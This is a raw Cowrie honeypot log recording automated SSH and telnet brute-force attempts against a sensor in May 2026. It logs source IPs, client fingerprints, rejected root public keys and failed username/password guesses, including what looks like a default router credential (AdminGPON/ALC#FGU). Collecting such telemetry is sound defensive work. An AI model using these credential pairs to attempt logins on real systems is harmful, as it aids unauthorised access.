{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:dd:c4:ce:06:4b:ff:0e:62:52:bc:02:a9:c8:51:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV/Ruc86dWUxNrplkafvAmYONiB9gIgCKk9v4KmA181vmKo2iKhliTFDY0+Kt1lg49Cy+ErY53mmACIx0HNcPjv7bQ+UwOeQMpIoQB6WseYqHP8NPzOVJnTmbshA5WwIj4cnTpr70au8kXlnuqsRkcUghBPKBNxyPs/1Y7YHgjp29fRkIND18R5xnmVCCZraYoXcuxq0ZMbdka2rSxpSBzNqFMKWZKG73s6BCxVCFZ0Pz6OxAJdkoIzpTq2JYNcgXbbAAcvW84pEBQmOeUMtnivK0AvOMII9EqIi3hZlXRw5SnBxRbMAeIjxerGaTgq934am5NSuRKt2zXb2HSn4DPLTm86txjjRozNyx5y4LOu0lHtbF6RW7ZvwT1848a9Y5ZrjgntkyCMv115qVwGeywEr+A1cEL3pxPn/4Q7HTUmsUeSxS0phxqHc5s+hXPAOqAf9dhH6Pkm5zQTmo+ueRDX1Pr4jmRgL9ek5RntKZcBRWKozSmWa7pvegrF7ys/ZrDoQNlIip5CExs/TvwnPHsAMn9sKm9JgVsesKtSPjdUj4+nObd3r6O2slo6FggCEt3a9N+R0YVLB/LpxdBSwn4ossDjqixSm1yptwNE0/PrKl6wr87aJHuvUFwg+ztppvx9fTj4YP4P71QR4KqwV59IJjmtuYXdbKvROwI+FNCXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:dd:c4:ce:06:4b:ff:0e:62:52:bc:02:a9:c8:51:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.302309Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:dd:c4:ce:06:4b:ff:0e:62:52:bc:02:a9:c8:51:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV/Ruc86dWUxNrplkafvAmYONiB9gIgCKk9v4KmA181vmKo2iKhliTFDY0+Kt1lg49Cy+ErY53mmACIx0HNcPjv7bQ+UwOeQMpIoQB6WseYqHP8NPzOVJnTmbshA5WwIj4cnTpr70au8kXlnuqsRkcUghBPKBNxyPs/1Y7YHgjp29fRkIND18R5xnmVCCZraYoXcuxq0ZMbdka2rSxpSBzNqFMKWZKG73s6BCxVCFZ0Pz6OxAJdkoIzpTq2JYNcgXbbAAcvW84pEBQmOeUMtnivK0AvOMII9EqIi3hZlXRw5SnBxRbMAeIjxerGaTgq934am5NSuRKt2zXb2HSn4DPLTm86txjjRozNyx5y4LOu0lHtbF6RW7ZvwT1848a9Y5ZrjgntkyCMv115qVwGeywEr+A1cEL3pxPn/4Q7HTUmsUeSxS0phxqHc5s+hXPAOqAf9dhH6Pkm5zQTmo+ueRDX1Pr4jmRgL9ek5RntKZcBRWKozSmWa7pvegrF7ys/ZrDoQNlIip5CExs/TvwnPHsAMn9sKm9JgVsesKtSPjdUj4+nObd3r6O2slo6FggCEt3a9N+R0YVLB/LpxdBSwn4ossDjqixSm1yptwNE0/PrKl6wr87aJHuvUFwg+ztppvx9fTj4YP4P71QR4KqwV59IJjmtuYXdbKvROwI+FNCXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.305711Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:0f:c3:db:9a:92:0c:59:3c:d7:2e:1d:59:03:42:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCloC6Cz0PQ0fFYT8op1T4YdLn+OzpPiN+m6reHWLnal1NqrWMJeMqVjBw6PaHT5Zie5Srp3DY//yqNa/z/e04QP660Xiq9Cxo5mZdMQnp434qA+bM9l7VZpPV6ZVXQ8OVk377Gg/4ZSGwKzQZEY6YKMZdd39dTjnmCImNzKn99Ycn98KABmGDuXgGPsBPG8xGceKYAu/s+Lq4lQypjdyq1j1ZeUzL0vnej99gR/z1wL4MurJH9ikZ77BLykH+SmLaZkriYo5MqfKW0Iwi6gnshz0FFybmen5mAEaANBAYhIoTt8muXWm+cm0qGkqotLwhv+e/r76An4YuAPIhy+25/vll5Rb92kLtFbxCVRJm8+N2TGKSSgt/837D0jKtBvJSVn1Azb15/GNKq+Qjm/qN3hXKkX/2wdg9yfDpFsknqr6eSFr9LCoRo99AtwcmHeoDxNxFgvGKw+xSsx9V/91H2VRFRJOe1Eo17DIxC1TZml0zI9BJIGVoStJ7DGWEOL2n3+7d4hXaoBx5QACJtki7FkeL4OKNJnGe2tgugaW1UlTtlxBeYESAsYUjsSCYtBl8iyJhJZOWk8zFRSraT8jiGBy/SAbZSVp8m3R6GkYTooHM3yOTJAwHkWOMdKnlG3rOIopk3DR0kpEZ+UwOVV3hqmUG8Q1v7+DJrGOYabCdZCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:0f:c3:db:9a:92:0c:59:3c:d7:2e:1d:59:03:42:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.334539Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:0f:c3:db:9a:92:0c:59:3c:d7:2e:1d:59:03:42:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCloC6Cz0PQ0fFYT8op1T4YdLn+OzpPiN+m6reHWLnal1NqrWMJeMqVjBw6PaHT5Zie5Srp3DY//yqNa/z/e04QP660Xiq9Cxo5mZdMQnp434qA+bM9l7VZpPV6ZVXQ8OVk377Gg/4ZSGwKzQZEY6YKMZdd39dTjnmCImNzKn99Ycn98KABmGDuXgGPsBPG8xGceKYAu/s+Lq4lQypjdyq1j1ZeUzL0vnej99gR/z1wL4MurJH9ikZ77BLykH+SmLaZkriYo5MqfKW0Iwi6gnshz0FFybmen5mAEaANBAYhIoTt8muXWm+cm0qGkqotLwhv+e/r76An4YuAPIhy+25/vll5Rb92kLtFbxCVRJm8+N2TGKSSgt/837D0jKtBvJSVn1Azb15/GNKq+Qjm/qN3hXKkX/2wdg9yfDpFsknqr6eSFr9LCoRo99AtwcmHeoDxNxFgvGKw+xSsx9V/91H2VRFRJOe1Eo17DIxC1TZml0zI9BJIGVoStJ7DGWEOL2n3+7d4hXaoBx5QACJtki7FkeL4OKNJnGe2tgugaW1UlTtlxBeYESAsYUjsSCYtBl8iyJhJZOWk8zFRSraT8jiGBy/SAbZSVp8m3R6GkYTooHM3yOTJAwHkWOMdKnlG3rOIopk3DR0kpEZ+UwOVV3hqmUG8Q1v7+DJrGOYabCdZCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.338754Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:86:be:f4:0e:7f:dd:9d:dc:56:5e:75:d4:8f:af:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2CEchydUiRjpqCeRUBH4zV5IfvKXflIbQQ9kY20uyoyOF0K3q0Dhf8UghVr5bsFwiGzjUp8omAoBe7kcyls6vlVvJ7TPYlBDrJsPHeHzQ8JMHCNZCtjbIsFResdz/oY/q67+4c1/PbR+gZSHa1iCbM50tlhAzjLsC7UZqtk+R6KTlS0sTUKz8UNEixRKw4l1zlbAncpyQHQygv8jYIAp6KYza/vUVdEH3vc17cXhTp9PSzRCRMA1REsIoH3WAjC26wIUGJ/SaMC62VVqPCaqgyQjDAvFkCCYvL5B4MDCOby7wgSzQzhiJjr91FzG4uxWhZQ9ZjR+q8dxR3uqEd2ILQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:86:be:f4:0e:7f:dd:9d:dc:56:5e:75:d4:8f:af:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.369730Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:86:be:f4:0e:7f:dd:9d:dc:56:5e:75:d4:8f:af:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2CEchydUiRjpqCeRUBH4zV5IfvKXflIbQQ9kY20uyoyOF0K3q0Dhf8UghVr5bsFwiGzjUp8omAoBe7kcyls6vlVvJ7TPYlBDrJsPHeHzQ8JMHCNZCtjbIsFResdz/oY/q67+4c1/PbR+gZSHa1iCbM50tlhAzjLsC7UZqtk+R6KTlS0sTUKz8UNEixRKw4l1zlbAncpyQHQygv8jYIAp6KYza/vUVdEH3vc17cXhTp9PSzRCRMA1REsIoH3WAjC26wIUGJ/SaMC62VVqPCaqgyQjDAvFkCCYvL5B4MDCOby7wgSzQzhiJjr91FzG4uxWhZQ9ZjR+q8dxR3uqEd2ILQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.379790Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:08.412421Z","src_ip":"130.185.239.222","session":"7f42c0769e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":42174,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fefaa0a0986","protocol":"telnet","message":"New connection: 180.235.129.180:42174 (10.17.0.5:23) [session: 0fefaa0a0986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:17.345551Z"}
{"eventid":"cowrie.session.closed","duration":7.031046152114868,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:24.376457Z","src_ip":"180.235.129.180","session":"0fefaa0a0986","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":48836,"dst_ip":"10.17.0.5","dst_port":22,"session":"8894798aee8a","protocol":"ssh","message":"New connection: 190.244.39.224:48836 (10.17.0.5:22) [session: 8894798aee8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:25.239947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:25.246513Z","src_ip":"190.244.39.224","session":"8894798aee8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:25.451985Z","src_ip":"190.244.39.224","session":"8894798aee8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"12341234","message":"login attempt [ali/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:26.289376Z","src_ip":"190.244.39.224","session":"8894798aee8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:27.493708Z","src_ip":"190.244.39.224","session":"8894798aee8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.561368703842163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:36.157364Z","src_ip":"47.237.114.130","session":"403f39852232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38638,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a0dd3bb9aa7","protocol":"ssh","message":"New connection: 193.32.162.145:38638 (159.203.135.109:22) [session: 3a0dd3bb9aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:52.504021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:52.509028Z","src_ip":"193.32.162.145","session":"3a0dd3bb9aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:52.619498Z","src_ip":"193.32.162.145","session":"3a0dd3bb9aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"anza","message":"login attempt [sol/anza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:52.924627Z","src_ip":"193.32.162.145","session":"3a0dd3bb9aa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:00:54.028280Z","src_ip":"193.32.162.145","session":"3a0dd3bb9aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52662,"dst_ip":"159.203.135.109","dst_port":22,"session":"53535aa8c1a5","protocol":"ssh","message":"New connection: 193.32.162.145:52662 (159.203.135.109:22) [session: 53535aa8c1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:03:03.693607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:03:03.698863Z","src_ip":"193.32.162.145","session":"53535aa8c1a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:03:03.800549Z","src_ip":"193.32.162.145","session":"53535aa8c1a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"testnet","message":"login attempt [sol/testnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:03:04.115635Z","src_ip":"193.32.162.145","session":"53535aa8c1a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:03:05.218972Z","src_ip":"193.32.162.145","session":"53535aa8c1a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":53016,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d053b92edf3","protocol":"ssh","message":"New connection: 190.244.39.224:53016 (10.17.0.5:22) [session: 2d053b92edf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:03:46.970745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:03:46.978491Z","src_ip":"190.244.39.224","session":"2d053b92edf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:03:47.171108Z","src_ip":"190.244.39.224","session":"2d053b92edf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo2","password":"odoo2","message":"login attempt [odoo2/odoo2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:03:47.953786Z","src_ip":"190.244.39.224","session":"2d053b92edf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:03:49.152907Z","src_ip":"190.244.39.224","session":"2d053b92edf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.33","src_port":50352,"dst_ip":"159.203.135.109","dst_port":22,"session":"db2d650e72ca","protocol":"ssh","message":"New connection: 94.26.106.33:50352 (159.203.135.109:22) [session: db2d650e72ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:04:42.976578Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:04:42.980664Z","src_ip":"94.26.106.33","session":"db2d650e72ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.33","src_port":50362,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6b5d5659298","protocol":"ssh","message":"New connection: 94.26.106.33:50362 (159.203.135.109:22) [session: d6b5d5659298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:04:43.089159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:04:43.093537Z","src_ip":"94.26.106.33","session":"d6b5d5659298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:04:43.185771Z","src_ip":"94.26.106.33","session":"d6b5d5659298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:04:43.373667Z","src_ip":"94.26.106.33","session":"d6b5d5659298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:04:44.469976Z","src_ip":"94.26.106.33","session":"d6b5d5659298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38472,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d69748b2e89","protocol":"ssh","message":"New connection: 193.32.162.145:38472 (159.203.135.109:22) [session: 0d69748b2e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:05:19.261611Z"}
